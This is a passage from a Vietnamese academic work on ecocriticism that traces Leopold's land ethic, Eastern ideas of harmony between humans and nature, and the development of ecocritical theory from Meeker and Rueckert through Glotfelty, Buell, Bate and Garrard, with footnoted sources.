minh truyền thống phương Tây. Con người, từ kẻ chinh phục, kẻ thao túng tự nhiên
trở thành một thành viên trong đó. Con người phải có sự tôn trọng thích đáng đối với
tất cả các thành viên thuộc giới hữu tình và vô tình, và cùng sinh tồn với các loài khác
hợp thành một cộng đồng rộng lớn. Con người có trách nhiệm bảo vệ “cộng đồng sinh
vật” được hài hòa, ổn định, và đẹp đẽ. “Hành vi mà có thể bảo hộ tính chỉnh thể, tính
ổn định, và vẻ đẹp của Cộng đồng sinh vật là đúng, trái ngược lại với điều đó là hành
vi sai trái”1
Những tư tưởng của sinh thái học như: Cộng đồng sinh vật (Biotic Community),
Ý thức sinh thái (Ecological conscience), Đại địa mĩ học (Land aesthetic) mà Aldo
Leopold đề xuất chủ yếu để thay đổi thế giới quan nhân loại trung tâm (humancentred) trong văn minh truyền thống Kitô giáo phương Tây, phá bỏ sự cách biệt giữa
con người và thiên nhiên để nhận thức Vạn vật bình đẳng. Lương tâm sinh thái xuất
phát từ sự thay đổi thế giới quan con người. Mối quan tâm con người với con người
đã mở rộng ra đến con người và vạn vật trên trái đất. Chỉ khi con người nhận thức
được loài vô tình hay giới hữu tình trên trái đất đều là một phần tử của Cộng đồng
sinh vật thì nhân loại mới có thể tôn trọng và bảo vệ chúng được.
Như vậy, đạo đức môi trường đã mở rộng ra từ quyền con người sang quyền
của thiên nhiên. Cuối thế kỉ 20 là thời kì khởi phát phong trào bảo vệ sinh thái. Ngoài
những phong trào bảo vệ môi trường thực tế, các phong trào xuất phát từ nền tảng
tư tưởng lí luận triết học trong việc chăm sóc sinh thái rất đáng lưu tâm, vì thực chất
vấn đề sinh thái mà chúng ta đang đối mặt còn nằm ở văn hóa của chúng ta – cách
hành xử của con người với tự nhiên. Bảo vệ sinh mệnh tự nhiên là tiến bộ của nhân

1 Leopold A. (1966), A sand country almanac, Oxford University press, tr 26.
12
loại. Tôn trọng sinh mệnh, yêu quý sinh mệnh không phải là con người ban tặng một
cách khẳng khái cho vật có sinh mệnh khác mà là nhu cầu của sự tiến bộ tự thân nhân
loại : “Mọi thứ sẽ tốt đẹp hơn cho chúng ta, về lâu về dài, nếu chúng ta biết tự nhận
diện chính mình như là những sinh vật tự nhiên mà chúng ta đang dần dần phá hủy –
những cái cây, những dòng sông, đất đai, và ngay cả không khí của chúng ta… Chúng
ta chỉ là một phần nhỏ bé trong toàn bộ hệ sinh thái ấy”
1
. Trở về với tư tưởng văn
hóa phương Đông cổ đại là một khuynh hướng quan trọng của phê bình sinh thái
hiện nay. Nếu như phê bình sinh thái cứ mãi là “lí thuyết về sự sụp đổ” (Theories of
breakdown)2
thì sẽ dẫn đến bế tắc, cho nên nhiều nhà tư tưởng và triết gia sinh
thái đã tìm về và nhấn mạnh { nghĩa quan trọng của trí tuệ sinh thái phương Đông
cổ đại để mong muốn giải quyết những khó khăn về lý luận. Nhà xuất bản Đại học
Harvard liên tục xuất bản nhiều chuyên luận bàn về giá trị to lớn của tư tưởng sinh
thái phương Đông cổ đại đối với trào lưu văn hóa sinh thái vì lí do đó.3
Mối quan hệ giữa con người và tự nhiên đã được triết học, mĩ học và văn
chương bàn đến cách đây hàng nghìn năm. Xem con người mang bản chất của tự
nhiên, các nhà tư tưởng Trung Hoa từ thời cổ cho rằng, con người cần sống hòa
hợp với tự nhiên, sống thuận theo tự nhiên. “Thiên nhân hợp nhất” – tư tưởng Chu
Dịch đã trở thành tiền đề cơ bản trong cách ứng xử, nguồn cảm hứng vô tận của
văn chương phương Đông. Con người là một phần của tự nhiên, giữa con người và
tự nhiên có mối liên quan, thống nhất và dung hòa nhau. Khổng Tử yêu cầu tôn
trọng, gìn giữ môi trường, mùa xuân vào rừng không được đốn cây lớn, bắt cá phải
dùng mắt lưới to. Lão Tử cho rằng con người là một bộ phận không tách rời tự
nhiên: “Đạo sinh ra một, một sinh ra hai, hai sinh ra ba, ba sinh ra vạn vật”, cho
nên mọi vật đều sinh ra từ Đạo, là biểu hiện của Đạo, do vậy “trời đất với ta cùng
sinh ra, vạn vật với ta là một”. Tự nhiên có trước con người, tồn tại và vận động
theo quy luật khách quan, con người theo quy luật của tự nhiên để hành động cho
hợp lẽ “Thiên nhiên và hoạt động tự nhiên, sự âm thầm diễn ra của các biến cố đời
đời kiếp kiếp, sự tuần hoàn của bốn mùa, sự vận chuyển uy nghi của tinh tú, đó là

1Coupe Laurence (2013), Green Theory, The Routlege Companion to Critical and Cultural Theory, Edited by
Simon Malpas and Paul Wake, Routledge, p 160.
2 Wall D. (1994), Green history – A reader in environmental literature, philosophy and polities, Routledge.
3Theo Trần Hải Yến (2014), “Nghiên cứu phê bình sinh thái hiện đại và di sản văn hóa: nhìn từ cách Sinh
thái học tìm về Tam giáo (Phật giáo, Nho giáo, Đạo giáo)”, Hội thảo khoa học Phát triển văn học Việt Nam
trong bối cảnh đổi mới và hội nhập quốc tế, Viện Văn học.
13
cái đạo mà ta thấy trong mỗi dòng suối, mỗi phiến đá, mỗi ngôi sao, đó là cái luật
của vũ trụ, vô tư, vô ngã, mà lại hợp lí, và loài người phải hành động theo luật ấy
nếu muốn sống khôn ngoan và yên ổn”1
. Bởi vậy, người phương Đông thường lựa
chọn cách sống hài hòa với tự nhiên để được thanh thản, đủ đầy. Khi con người xa
rời Đạo, đánh mất đi sự hồn nhiên chất phác của mình nên dễ sinh ra loạn lạc, vì
vậy giữ gìn bản chất tự nhiên, nhu thuận cũng chính là gìn giữ và nuôi dưỡng bản
tính hồn nhiên trẻ thơ của mình. Thuyết Đồng tâm cho rằng những áng văn chương
hay nhất trong thiên hạ chưa bao giờ lại không nảy sinh từ trái tim trẻ thơ (Lí
Chất).2
Trước khi trở thành đấng Giác Ngộ, Đức Phật đã trải qua kiếp sống không
chỉ là con người, thần linh mà cả là chim chóc, muông thú để có thể hiểu về cuộc
đời của muôn loài với đủ mọi quan hệ thế tục. Đức vua Trần Nhân Tông sau khi
thực hiện xong những trọng trách quốc gia và thế sự, đã xuất gia vào núi sâu để
được trong sạch, giác ngộ tràn đầy.
Trong các sử thi phương Đông, cũng có những bài học về sự hòa hợp tự
nhiên. Các anh hùng của người Ấn trong Ramayana, Mahabrahata trước khi lên
ngai vàng trị vì đất nước đều đi sâu vào trong núi hành hương, học những bài học
triết lí về nhân sinh bằng cách tĩnh tâm, hòa mình sống với thiên nhiên. Thiên
nhiên, do đó là người thầy minh triết vĩnh cửu trong tâm thức của người phương
Đông.
1.2.2 Sự phát triển của phê bình sinh thái
Cuộc cách mạng khoa học kĩ thuật đã tạo ra số của cải vật chất khổng lồ,
đưa đến cho con người nhiều tiện nghi, nhưng cũng khiến cho con người “đang đi
trên con đường dẫn đến sự đối đầu trực tiếp với thiên nhiên”3
. Hiện tại, con người
bắt đầu hiểu ra là cần phải thương yêu và che chở thiên nhiên, nếu không sẽ phải
gánh chịu nhiều thua thiệt. Tuy nhiên, vì không biết lo xa, vì lòng tham, chúng ta
chưa thực sự có những hành động thiết thực. Trước bối cảnh khủng hoảng môi
trường, để thể hiện sự quan tâm đến các vấn đề sinh thái, nhằm thức tỉnh nhân
loại trước những nguy cơ đe dọa của khủng hoảng môi trường, nhiều ngành khoa

1Durant W. (2012), Lịch sử văn minh Trung Hoa, Nguyễn Hiến Lê dịch, Nxb Văn hóa Thông tin, Hà Nội, tr 53.
2Khâu Chấn Thanh (2001), Lí luận văn học cổ điển Trung Quốc (100 điều), Mai Xuân Hải dịch, NXB Văn
học, Hà Nội.
3
Ikeda D. và Peccei A. (1993), Tiếng chuông cảnh tỉnh cho thế kỉ XXI, Trương Chính, Đông Hà dịch, NXB Chính trị
quốc gia, Hà Nội, tr 42.
14
học nhân văn như lịch sử, triết học, luật pháp, xã hội học và tôn giáo đã “nghiên
cứu xanh” (green study) từ những năm 1970. Các nhà sử học kêu gọi “đừng coi tự
nhiên như là sân khấu cho vở diễn của con người, mà là một diễn viên ngang hàng
trong tấn kịch ấy. Họ tìm thấy nguồn gốc của các mối quan hệ giữa hoàn cảnh môi
trường với các phương thức sản xuất kinh tế và các { tưởng văn hóa xuyên thời
gian”; các nhà nhân loại học chú trọng mối quan hệ giữa văn hóa và địa lí; các nhà
tâm lí học thừa nhận sự bất hòa giữa con người và thiên nhiên là nguồn gốc của
các căn bệnh xã hội, bệnh tâm lí “khám phá ra sự nối kết giữa hoàn cảnh môi
trường và sức khỏe tinh thần, một số liên quan đến sự xa rời hiện tại đối với tự
nhiên như căn bệnh cơ bản của tâm lí và xã hội chúng ta”; thậm chí, các nhà thần
học xác quyết môi trường là một vấn đề của tôn giáo “cố gắng tìm kiếm các cứ liệu
trong kinh thánh chứng minh con người đã từng làm chủ trái đất một cách khôn
ngoan, hợp l{”, họ cũng tìm đến những tôn giáo của người Mỹ bản địa hay các tôn
giáo Phương Đông được coi là “hệ thống tôn giáo chứa đầy các tín điều sáng suốt
về tự nhiên và thế giới tinh thần”1
.
Trong khi đó nghiên cứu văn học được đánh giá là “phản ứng chậm” vì hình
như vẫn bỏ ngỏ mối quan tâm đến môi trường. Những nghiên cứu của văn học thế kỉ
20 vẫn là những mối bận tâm đến con người: phê bình phân tâm học, phê bình
Macxit, lí thuyết tiếp nhận, phê bình nữ quyền, … mà bỏ ra ngoài một sự thực: trái đất
đang lâm nguy. Dù vậy, từ những năm bảy mươi của thế kỉ 20, một số nhà nghiên cứu
văn học và văn hóa đã phát triển lí thuyết và phê bình về phương diện sinh thái. Tuy
nhiên các nghiên cứu của họ được coi là những “nghiên cứu trước tác về tự nhiên”
(the study of nature writing) tản mát dưới những tên gọi khác nhau như chủ nghĩa
đồng quê, sinh thái học con người, chủ nghĩa địa phương, khoa học và văn học, tự
nhiên trong văn học, phong cảnh trong văn học… Ngay từ khi xuất hiện, phê bình sinh
thái đã không thuần nhất, bởi vậy, định danh khái niệm cũng là một vấn đề. Nếu như
ở Anh người ta thường sử dụng thuật ngữ “nghiên cứu xanh” (green study) thì ở Mỹ
lại thích sử dụng thuật ngữ “phê bình sinh thái” (ecocritism). Nhiều thuật ngữ khác
cũng thường được sử dụng như “thi pháp sinh thái” (ecopoetics), “phê bình văn học
môi trường” (environmental literary criticism), hay “nghiên cứu (văn hóa) xanh”

1
Theo Glotfelty C. (1996), “Introduction: Literary Studies in an Age of Enviromental Crisis”, The
Ecocriticism Reader: Landmarks in Literary Ecology edited by Cheryll Glotfelty and Harold Fromm,
University of Georgia Press, xv – xxxvi, p xxi
15
(green (cultural) studies), sáng tác tự nhiên (nature writing), sinh thái học lãng mạn
(romantic ecology)… Chúng tôi đồng ý với Cheryll Glotfelty và nhiều học giả khác về
việc thống nhất thuật ngữ ecocritism (phê bình sinh thái) vì nó ngắn gọn và có thể dễ
dàng tạo thành dạng thức khác là ecocritical (tính chất phê bình sinh thái) và ecocritic
(nhà phê bình sinh thái). Hơn nữa, tiền tố “eco-” (sinh thái) hay hơn tiền tố “enviro-”
(môi trường) bởi vì tương tự khoa học sinh thái học, phê bình sinh thái nghiên cứu
mối quan hệ giữa các sự vật, trong trường hợp này, giữa văn hóa và thế giới tự nhiên.
Mặt khác, tiền tố “enviro-” (môi trường) ngụ ý rằng, con người chúng ta là trung tâm,
tất cả mọi thứ xung quanh chúng ta là môi trường. Ngược lại, tiền tố “eco-” (sinh thái)
ám chỉ các cộng đồng phụ thuộc lẫn nhau, những hệ thống hòa hợp và sự kết nối
mạnh mẽ giữa các bộ phận cấu thành.
Khởi nguyên của thuật ngữ ecocritism xuất phát từ cuốn Hài kịch của sự sinh
tồn: nghiên cứu trong sinh thái học văn học (The Comedy of Survival: Studies in
Literary Ecology, 1972), Joseph Meeker giới thiệu thuật ngữ: sinh thái học văn học
(literary ecology) ám chỉ “sự nghiên cứu chủ đề sinh thái và những mối liên hệ xuất
hiện trong tác phẩm văn học. Đồng thời, nó cũng là một sự thử nghiệm để khám phá
ra vai trò của nó là gì với văn học trong sinh thái học của loài người”1
. Còn thuật ngữ
ecocriticism có lẽ xuất hiện lần đầu tiên vào năm 1987 bởi William Rueckert trong
một khảo luận tên là Văn học và sinh thái học: Một thử nghiệm mới trong phê bình
sinh thái (Literature and Ecology: An Experiment in Ecocriticism). Phê bình sinh thái
(ecocriticism) theo Rueckert có nghĩa là “việc ứng dụng sinh thái học và các thuật
ngữ sinh thái học vào nghiên cứu văn học”2
. Định nghĩa của Rueckert có liên quan
đặc biệt với khoa học sinh thái học và theo đó đã giới hạn lại thành một thuật ngữ
để chỉ tất cả mối quan hệ giữa văn học và thế giới tự nhiên. Do vậy, phê bình sinh
thái chưa được thừa nhận như một phong trào phê bình rõ rệt.
Tuy nhiên, trong những năm này, đã xuất hiện một số tác phẩm quan trọng đối
với lịch sử của phong trào phê bình sinh thái. Công trình của Joseph Mecker là Hài kịch
của sự sinh tồn (The Comedy of Survial, 1974) đã đưa ra vấn đề tranh luận cơ bản:
chính văn hóa phương Tây với nền tảng tư tưởng của thuyết con người là trung tâm

1 Glotfelty C. (1996), “Introduction: Literary Studies in an Age of Enviromental Crisis”, The Ecocriticism
Reader: Landmarks in Literary Ecology edited by Cheryll Glotfelty and Harold Fromm, University of
Georgia Press p xv – xxxvi.
16
đã khiến cho môi sinh trở nên khủng hoảng. Năm 1985, Frederick Owaage biên tập
cuốn sách mang tên Giảng dạy văn học môi trường: tài liệu, phương pháp và Tiềm
năng phát triển (Teaching Environmental Literature: Materials, methods, Resources)
bao gồm nhiều chiều hướng của mười chín nhà nghiên cứu khác nhau. Năm 1989,
Alicia Nitecki viết Bản tin văn học Mĩ về đề tài tự nhiên (The American Nature Writing
Newsletter) công bố các bài luận vắn tắt, điểm sách và những thông tin liên quan đến
nghiên cứu cách viết về tự nhiên và môi trường.
Mãi đến những năm 1990, phê bình sinh thái mới thực sự phát triển. Các
hội nghị khoa học về vấn đề môi trường và văn học được tổ chức hằng năm. Phiên
họp đặc biệt nổi tiếng nhất của Hội nghiên cứu ngôn ngữ học hiện đại (MLA) vào
năm 1991, có chủ đề “Phê bình sinh thái: Xanh hóa nghiên cứu văn học”, đã thực
sự tạo được tiếng vang và thúc đẩy hướng nghiên cứu này phát triển mạnh mẽ.
Năm 1994, Kroeber cho xuất bản chuyên luận Phê bình văn học sinh thái: tưởng
tượng lãng mạn và sinh thái học tinh thần (Ecological literary criticism; romantic
imagining and the Biology of mind, Columbia University Press, 1994), đề xướng
“phê bình văn học sinh thái” (ecological literary criticism), “Phê bình mang khuynh
hướng sinh thái” (ecological oriented criticism). Năm 1995, Lawrence Buell khoa
Anh văn đại học Harvard cho xuất bản chuyên luận Tưởng tượng môi trường:
Thoreau, văn viết về tự nhiên và sự cấu thành của văn hóa Mĩ (The Enviromental
Imagination: Thoreau, Nature Writing, and the Formation of American Culture,
Harvard University Press, 1995). Khi nghiên cứu về sáng tác của Thoreau từ góc độ
sinh thái, chuyên luận đã cung cấp cho “văn học xanh” một số chỉ đạo có tính tổng
thể về phương pháp luận và lí luận. Chuyên luận được coi là một cột mốc của phê
bình sinh thái.
Tuy nhiên, để nhận thức rõ ràng về phê bình sinh thái, phải kể đến người có
công phát triển phong trào phê bình sinh thái là Cheryll Glotfelty, người đã đồng biên
tập với Harold Fromm một tuyển tập cốt yếu các bài viết có tính định hướng quan
trọng: Tuyển tập Phê bình sinh thái: Các mốc quan trọng trong Sinh thái học Văn học
(The Ecocriticism Reader: Landmarks in Literary Ecology, University of Georgia Press,
1996). Năm 1992 bà sáng lập ra Hiệp hội Nghiên cứu Văn học và Môi trường – ASLE (the
Association for the Study of Literature and Environment). Hiệp hội này trở thành tổ
chức có hàng nghìn thành viên ở Mỹ, sau đó các chi nhánh mới thành lập ở Anh và tiếp
theo là nhiều nước châu Âu, Nhật Bản, Hàn Quốc, Ấn Độ, Canada… Năm 1993, Patrick
17
Murphy xuất bản tạp chí mới, Nghiên cứu Liên ngành Văn học và Môi trường – ISLE
(Interdisciplinary Studies in Literature and Environment), để cung cấp một diễn đàn
nghiên cứu phê bình văn học quan tâm tới môi trường.
Phong trào phê bình sinh thái ở Anh và Mĩ có đôi chút khác biệt. Phê bình
sinh thái, hay phê bình xanh của Anh quốc lại được sinh thành từ phong trào Lãng
mạn Anh của thập kỷ chín mươi thế kỷ 18 (1790) hơn là từ phong trào Tiên nghiệm
Mỹ trong thập kỷ bốn mươi thế kỷ 19 (1840). Người tiên phong của phong trào này
là nhà phê bình Jonathan Bate, tác giả cuốn Sinh thái học Lãng mạn: Wordsworth
và Truyền thống (văn học) Môi trường (Romantic Ecology: Wordsworth and the
Environmental Tradition, Routledge, 1991).Tuyển tập các công trình phê bình sinh
thái đáng chú { nhất tại Anh là cuốn Tuyển tập nghiên cứu xanh: Từ chủ nghĩa lãng
mạn tới phê bình sinh thái (The Green Studies Reader: From Romanticism to
Ecocriticism, Routledge, 2000) do Laurence Coupe biên tập. Nếu như phê bình sinh
thái Mỹ thiên về ca tụng tự nhiên thì phê bình sinh thái Anh lại thiên về cảnh báo
về môi trường. Thành phố và Nông thôn (The Country and the City (Chatto &
Windus, 1973) của Raymond William đã thể hiện rõ điều đó.
Như vậy, phê bình sinh thái từ những nghiên cứu riêng lẻ, khó nhận diện đã
có một tổ chức riêng thu hút giới nghiên cứu trên trên toàn thế giới, có một tạp chí
riêng của Hội. Đồng thời phong trào này cũng lan ra các trường đại học, một vài
trường đã bắt đầu đưa vào trong các khóa văn học chương trình giảng dạy về
nghiên cứu môi trường; một số học viện về tự nhiên và văn hóa được thành lập;
một số khoa tiếng Anh yêu cầu những chương trình nhỏ về văn học môi trường.
Nhờ đó, phê bình sinh thái đã chính thức trở thành một phong trào nghiên cứu
hàn lâm.
Một trong những dấu mốc chứng tỏ sự phát triển của phê bình sinh thái là sự
xuất hiện trong các cuốn giáo trình giới thiệu các trường phái lí thuyết văn học. Giáo
trình Nhập môn lí thuyết: dẫn luận lí luận văn học và lí luận văn hóa (Beginning Theory:
An Introduction to Literary and Cultural Theory, Manchester University press) tái bản
năm 2002, do Peter Barry soạn, thêm một chương mới là “Phê bình sinh thái” (bản xuất
bản năm 1995 chưa có chương này). Chương sách giới thiệu một khái quát sự ra đời,
cách hiểu hàm nghĩa tự nhiên/văn hóa, thành tựu chủ yếu, nhiệm vụ của phê bình sinh
thái, và thực tiễn phê bình sinh thái. Giới thiệu Phê bình đầu thế kỉ XXI (Introducing
Criticism at the Twenty-First Century, 2002) do Julian Wolfreys biên tập, Chương 7 của
18
tuyển tập “Phê bình sinh thái” do Kate Rigby viết, đã giới thiệu một cách rõ ràng về phê
bình sinh thái: từ việc phê phán những tư tưởng khiến cho tình trạng sinh thái lâm vào
khủng hoảng hiện nay, tìm về các văn bản về tự nhiên để tái cấu trúc lại văn bản, nhìn
lại về văn học lãng mạn; tái cấu trúc tính xã hội và tính sinh thái, khẳng định có một mối
liên hệ giữa các vấn đề tự nhiên và xã hội, gắn với các vấn đề giai cấp, chủng tộc, giới
tính; Phê bình sinh thái cần phải đặt lại nền tảng ngôn ngữ.
Một trong những hướng quan trọng của phê bình sinh thái là nhìn lại những
diễn ngôn lãng mạn về tự nhiên. Gifford Terry phát triển mô hình 3 lớp của kịch:
đồng quê, phản đồng quê và hậu đồng quê để viết về thể loại Đồng
quê (Pastoral (Routledge, the Critical Idiom series, 1999) đả phá vào thể loại đồng
quê. Năm 2000, Bài ca trái đất (The Song of the Earth, Massachusetts, Harvard
University Press) là công trình của nhà phê bình văn học sinh thái nổi tiếng
Jonathan Bate đã ứng dụng nguyên lý phê bình hiện tượng học, chủ nghĩa sinh thái
học lãng mạn của Heidegger, lý thuyết về trạng thái tự nhiên của Jean Jacques
Rousseau để so sánh thơ ca và tiểu thuyết lãng mạn của Jane Austen và Thomas
Hardy, Mary Shelley, William.H.Hudson và Elizabeth Bisho.
Năm 2004, Grey Garrard (đại học Bath Spa, Anh) xuất bản chuyên luận Phê
bình sinh thái (thuật ngữ phê bình mới) (Ecocriticism (The New Critical Idiom) bàn về
diễn ngôn chủ yếu của phê bình sinh thái từ tám phương diện như ô nhiễm, nơi chốn,
điền viên, hoang dã, tận thế (thảo luận về Kitô giáo), cư trú, động vật, trái đất. Từ cái
nhìn của phê bình sinh thái, tác giả đã chất vấn và khéo léo đưa người đọc qua những
cạm bẫy của lí thuyết, đào sâu vào những tranh luận chính của phê bình sinh thái hôm
nay.
Chuyên luận phê bình sinh thái của Lawrence Buell mang tên Tương lai của
phê bình môi trường: khủng hoảng môi trường và tưởng tượng văn học (The
Future of Environmental Criticism: Environmental Crisis and Literary Imagination,
2005). Buell đặt phê bình sinh thái vào lĩnh vực nghiên cứu văn hóa và văn học để
khảo sát, chỉ ra một cách rõ ràng “sự chuyển hướng của sinh thái môi trường trong
những nghiên cứu về văn học và văn hóa” (the environment turn in literary and
cultural studies), “diễn ngôn sinh thái của văn học” (literary ecodiscourse) được sử
dụng rộng rãi hơn, hình thành hệ thống toàn cầu hóa hơn, được thảo luận liên
ngành nhiều hơn, được cấu thành từ nhiều phương diện hơn.
Một cuốn sách cũng cần được nhắc đến ở đây là Sự mơ hồ sinh thái: Khủng
19
hoảng môi trường và văn học các nước Đông Á (Ecoambiguity: Environmental
Crises and East Asian Literatures, 2012) của Karen Thronber. Mở rộng diện quan
tâm của phê bình sinh thái ra khỏi các nước ngoài phương Tây như Trung Hoa,
Nhật Bản, Hàn Quốc, Đài Loan, bà đã đưa ra một khái niệm quan trọng “mơ hồ
sinh thái” khi nhận định rằng tình yêu thiên nhiên trong các văn bản văn chương
Đông Á ẩn dấu những ngộ nhận không nhỏ dẫn đến những bất công môi trường.
Phê bình sinh thái đã mở rộng phạm vi tới Shakespear học. Etock, trong
công trình Shakespear ecocritisim, cho rằng phê bình sinh thái không chỉ nghiên
cứu tự nhiên hay hiện hữu tự nhiên trong văn học, mà hơn thế nó là bất cứ cái gì
liên hệ chặt chẽ đến biến đổi môi trường. Từ đó, mở ra một cách tiếp cận chức
năng của sinh thái học văn hóa (culture ecology).
1.3 Phê bình sinh thái – một khuynh hướng nghiên cứu văn học
Phê bình sinh thái với tư cách là một khuynh hướng phê bình văn học mới,
ra đời trong bối cảnh giới học thuật phản ứng trước nguy cơ môi sinh bị hủy hoại
do chính con người, với mục đích thông qua văn học để thẩm định lại toàn bộ văn
hóa nhân loại, tiến hành phê phán tư tưởng, chính sách, mô hình xã hội… đã ảnh
hưởng như thế nào đến thái độ đối với tự nhiên, khiến cho môi trường lâm vào
tình trạng suy thoái như hiện nay.
1.3.1 Phê bình sinh thái trong thời đại khủng hoảng môi trường
Cheryll Glotfelty trong bài giới thiệu “Nghiên cứu văn học trong thời kì khủng
hoảng môi trường” của Tuyển tập Phê bình sinh thái, các mốc quan trọng trong sinh
thái học đã tỏ ra hết sức sốt ruột vì văn học dường như vẫn thờ ơ với những mối bận
tâm về môi trường trong khi hành tinh của chúng ta đang lâm nguy:
Bạn sẽ nhanh chóng nhận ra rằng chủng tộc, giai cấp, và giới tính trở
thành những vấn đề nóng bỏng vào những năm cuối thế kỉ XX. Thế nhưng, bạn
cũng sẽ không bao giờ biết được rằng sự sống của Trái đất – cái nền tảng đang
làm nhiệm vụ chống đỡ tất cả những hệ thống ấy – là cái đang nằm sâu bên dưới
tất cả những giao tranh căng thẳng đó. Thật vậy, có thể bạn sẽ không bao giờ
biết được rằng, dù thế nào, trên tất cả những điều ấy, là chúng ta chỉ có duy nhất
một Trái đất mà thôi1
.
Nhiệm vụ trọng tâm của phê bình sinh thái là qua văn học thể hiện thái độ
của mình về văn hóa ứng xử của con người đối với tự nhiên. Các nhà sinh thái đi

1Glotfelty C. (1996), “Introduction: Literary Studies in an Age of Enviromental Crisis”, The Ecocriticism
Reader: Landmarks in Literary Ecology edited by Cheryll Glotfelty and Harold Fromm, University of
Georgia Press xv – xxxvi, p xxi.
20
tìm câu trả lời và giải pháp về mặt tư tưởng: văn hóa xã hội quyết định thái độ,
hành vi của của con người đối với tự nhiên. Nhiệm vụ đó được Donald Worster chỉ
ra:
Nguy cơ sinh thái mang tính toàn cầu mà ngày nay chúng ta phải đối mặt
có nguồn gốc không phải ở bản thân hệ thống sinh thái mà ở hệ thống văn hóa
của chúng ta. Muốn vượt qua nguy cơ này, tất yếu phải ra sức lí giải minh bạch
ảnh hưởng của văn hóa của chúng ta đối với tự nhiên. Nhà sử học, nhà phê
bình văn học, nhà nhân loại học, nhà triết học nghiên cứu quan hệ giữa văn hóa
và sinh thái, tuy không thể trực tiếp thúc đẩy cách mạng văn hóa, nhưng lại có
thể giúp chúng ta lí giải, mà sự lí giải này chính là tiền đề của cách mạng văn
hóa1
.
Phê bình sinh thái phê phán thuyết con người là trung tâm (Anthropocentrism)
tồn tại trong tư tưởng nhân loại, nhất là từ sau phong trào Khai sáng, khi cùng với sự
hưng khởi của tư tưởng nhân bản thì nhân sinh quan đã có một sự thay đổi rất lớn. Địa
vị con người trong thế giới cũng được xác lập lại. Mối quan hệ giữa con người và thiên
nhiên nghiêng về sự đối lập nhị nguyên. Từ người con của thiên nhiên trở thành chủ
nhân của trái đất. Con người không phải phục tùng, kính sợ tự nhiên nữa mà ngược lại,
vạn vật trở thành sản phẩm tiêu dùng của nhân loại. Do vậy, việc con người chinh phục
tự nhiên là một quyền lợi hiển nhiên. Trong các loài, con người là kiểu mẫu, là sinh vật
cao cấp, bằng trí tuệ và khả năng của mình, con người có thể làm chủ và cải tạo được
thế giới. Các nhân vật được ngợi ca trong văn học hầu hết là những con người khẳng
định vị thế chúa tể muôn loài bằng khát vọng chinh phục tự nhiên. Vậy nên văn học
cũng có lỗi trong việc khiến cho trái đất đang ngày một kiệt quệ. Bởi vậy, sự thay đổi
trong suy nghĩ liên quan đến con người với môi trường cần được đổi thay từ chính văn
học, nơi thích hợp để phản biện lại những thói quen của tư duy. Tư tưởng này vấp
phải một rào cản đã tồn tại một cách thâm căn cố đế trong tư tưởng truyền thống
phương Tây vốn coi con người là tinh hoa, “Con người là kiểu mẫu của muôn loài”. Điều
này đã được Joseph Meeker chỉ ra trong công trình Hài kịch của sự sinh tồn: nghiên cứu
trong sinh thái học văn học (The Comedy of Survival: Studies in Literary Ecology). Về sau
vấn đề này trở thành điểm cốt yếu của phê bình sinh thái và triết học môi trường: cuộc

1Glotfelty C. (1996), “Introduction: Literary Studies in an Age of Enviromental Crisis”, The Ecocriticism
Reader: Landmarks in Literary Ecology edited by Cheryll Glotfelty and Harold Fromm, University of
Georgia Press xv – xxxvi, p xxi
21
khủng hoảng môi sinh chủ yếu bắt nguồn từ truyền thống văn hóa phương Tây vốn chia
tách văn hóa ra khỏi tự nhiên và dành cho văn hóa thế ưu trội.
Thế kỉ 21 là thế kỉ mà nhiều nhà nghiên cứu cho rằng con người phải đối
mặt với nhiều nguy cơ sinh thái nhất, nhưng đồng thời đây cũng là thế kỉ sẽ nảy nở
và phát triển các trào lưu sinh thái. Phê bình sinh thái xuất hiện và cảnh tỉnh con
người về sự khai thác quá mức khiến cho Trái đất ngày một kiệt quệ “đẩy sinh
quyển vào tình trạng hiểm nghèo”. Hầu hết tác phẩm phê bình sinh thái đều có
chung một động cơ: “đó là nỗi day dứt rằng chúng ta đã đi tới thời đại môi trường
cạn kiệt, một thời đại mà hậu quả hành động của con người đang tàn phá hành
tinh. Chúng ta đã tới thời đại đó. Hoặc là chúng ta phải thay đổi chính mình hoặc
sẽ phải đối mặt với thảm họa toàn cầu. Con người đang tàn phá vẻ đẹp tự nhiên và
đẩy vô vàn sinh vật đến bên bờ tuyệt chủng trong cuộc chạy đua điên rồ của chúng
ta tới ngày tận thế”1
. Biến đổi khí hậu, sự khủng hoảng môi trường tự nhiên, đó là
điểm mà phê bình sinh thái bắt đầu để nhắc nhở con người về vị trí của mình trong
sinh quyển. Do vậy, phê bình sinh thái đặt ra những vấn đề trực diện của khủng
hoảng môi sinh: “thảo luận công khai về các vấn đề môi trường, ví dụ như việc
đánh mất sự đa dạng sinh học và biến đổi khí hậu”2
.
Từ đó, nhấn mạnh trở lại cho chúng ta thấy rằng, tự nhiên vận hành theo
những quy luật riêng của nó, và con người trong sự hữu hạn của mình không thể
chống chọi được “một thực tế là, mặc dù hơn bao giờ hết, bề mặt trái đất gần đây
đang càng ngày càng bị biến đổi nhanh chóng hơn bởi công nghệ kĩ thuật; thì điều ấy
cũng không có nghĩa là những thực thể tự nhiên đã không còn tồn tại. Tất cả những gì
con người làm ra, bao gồm cả việc làm biến đổi phần nhiều là vô ý thức (hay nói đúng
hơn là sự tàn phá) hệ sinh thái trên trái đất cũng vẫn phải phụ thuộc vào những quá
trình vật lí tự nhiên hiện tồn trước đó. Những quá trình ấy vượt hẳn lên trên giới hạn
nhận thức cũng như giới hạn quyền lực của con người. Tất cả loài người, trong khi đó,
lại chỉ đơn thuần tồn tại trong một trạng thái lẫn lộn hỗn độn (mặc dù thường là một

1 Glotfelty C. (1996), “Introduction: Literary Studies in an Age of Enviromental Crisis”, The Ecocriticism
Reader: Landmarks in Literary Ecology edited by Cheryll Glotfelty and Harold Fromm, University of
Georgia Press p xv – xxxvi.
2Thornber K. (2011), Ecocriticism, Tài liệu thuyết trình tại Viện Văn học.
22
cách vô hình) với cuộc sống vô hạn của thế giới phi nhân”1
. Tự nhiên luôn nhắc nhở
cho con người thấy “một thứ địa vị thật sự thông qua mỗi trận động đất, mỗi lần núi
lửa phun trào, những ngôi sao chổi vụt qua, cũng như việc không ai có thể dự đoán
được một cách chính xác sự thay đổi bất thường của thời tiết”2
. Theo cách nói của
Bate, Phê bình sự nóng lên toàn cầu (Global warming criticism) “đưa ra định đề về
một thế giới tự nhiên không còn bị xem là thụ động hay được sắp xếp theo trật tự
định sẵn và chỉ biết phục tùng. Ngược lại, tự nhiên được nhìn như một cái gì bất định,
không thể đoán trước và có sự phản ứng lại trước mọi sự can thiệp của chúng ta, theo
